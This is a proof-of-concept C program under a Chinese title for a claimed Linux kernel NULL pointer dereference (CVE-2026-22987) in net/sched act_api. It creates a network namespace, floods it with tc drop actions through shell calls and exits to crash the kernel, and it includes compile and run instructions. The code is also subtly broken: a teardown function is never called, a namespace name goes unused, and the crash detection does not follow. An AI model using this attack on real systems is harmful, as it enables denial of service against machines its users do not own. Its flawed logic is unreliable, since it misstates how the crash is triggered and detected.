CVE-2026-22987: Linux内核net/sched act_api空指针解引用拒绝服务漏洞

// CVE-2026-22987 PoC - Linux Kernel net/sched act_api NULL Pointer Dereference // This PoC demonstrates triggering the vulnerability through netns teardown // Note: Requires kernel debugging symbols and proper environment setup #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/types.h> #include <sched.h> #include <net/if.h> #include <linux/if_tun.h> #include <fcntl.h> #define MAX_TC_ACTIONS 100 int create_netns() { int netns_fd; char netns_name[64]; // Create unique network namespace snprintf(netns_name, sizeof(netns_name), "cve_2026_22987_%d", getpid()); // Create network namespace using unshare if (unshare(CLONE_NEWNET) != 0) { perror("unshare(CLONE_NEWNET) failed"); return -1; } return 0; } int setup_tc_actions() { // Setup traffic control actions that may leave ERR_PTR entries // This simulates the condition where tcf_idrinfo_destroy encounters // ERR_PTR(-EBUSY) values during netns teardown char cmd[256]; // Create qdisc first system("tc qdisc add dev lo root handle 1: prio 2>/dev/null"); // Add multiple actions that may fail and leave error pointers for (int i = 0; i < MAX_TC_ACTIONS; i++) { snprintf(cmd, sizeof(cmd), "tc actions add action drop index %d 2>/dev/null", i); system(cmd); } return 0; } int trigger_teardown() { // Trigger netns teardown which calls tcf_idrinfo_destroy // This is where the vulnerability is triggered // Exit the network namespace to trigger cleanup // The kernel will call tcf_idrinfo_destroy during netns exit // Remount to default namespace system("ip netns delete $(ip netns list | grep cve_2026_22987 | awk '{print $1}') 2>/dev/null"); return 0; } int main(int argc, char *argv[]) { printf("[*] CVE-2026-22987 PoC - Linux Kernel act_api NULL Pointer Dereference\n"); printf("[*] Target: Linux Kernel net/sched/act_api.c tcf_idrinfo_destroy()\n"); printf("[*] CVSS: 5.5 (Medium) - AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n"); pid_t pid = fork(); if (pid < 0) { perror("fork failed"); return 1; } if (pid == 0) { // Child process - create network namespace and trigger vulnerability if (create_netns() < 0) { exit(1); } setup_tc_actions(); printf("[+] Network namespace created with TC actions\n"); printf("[*] Exiting namespace to trigger netns teardown...\n"); // Exit to trigger tcf_idrinfo_destroy exit(0); } else { // Parent process - wait for child and observe crash int status; waitpid(pid, &status, 0); if (WIFSIGNALED(status)) { printf("[!] Kernel crash detected (signal %d)\n", WTERMSIG(status)); printf("[+] Vulnerability confirmed!\n"); } else if (WEXITSTATUS(status) == 0) { printf("[*] Process exited normally (may need root privileges)\n"); } else { printf("[*] Process exited with status: %d\n", WEXITSTATUS(status)); } } printf("\n[*] PoC execution completed\n"); return 0; } // Compilation: gcc -o cve_2026_22987_poc cve_2026_22987_poc.c // Execution: Requires root privileges to create network namespaces // Note: Actual exploitation requires specific kernel configuration and version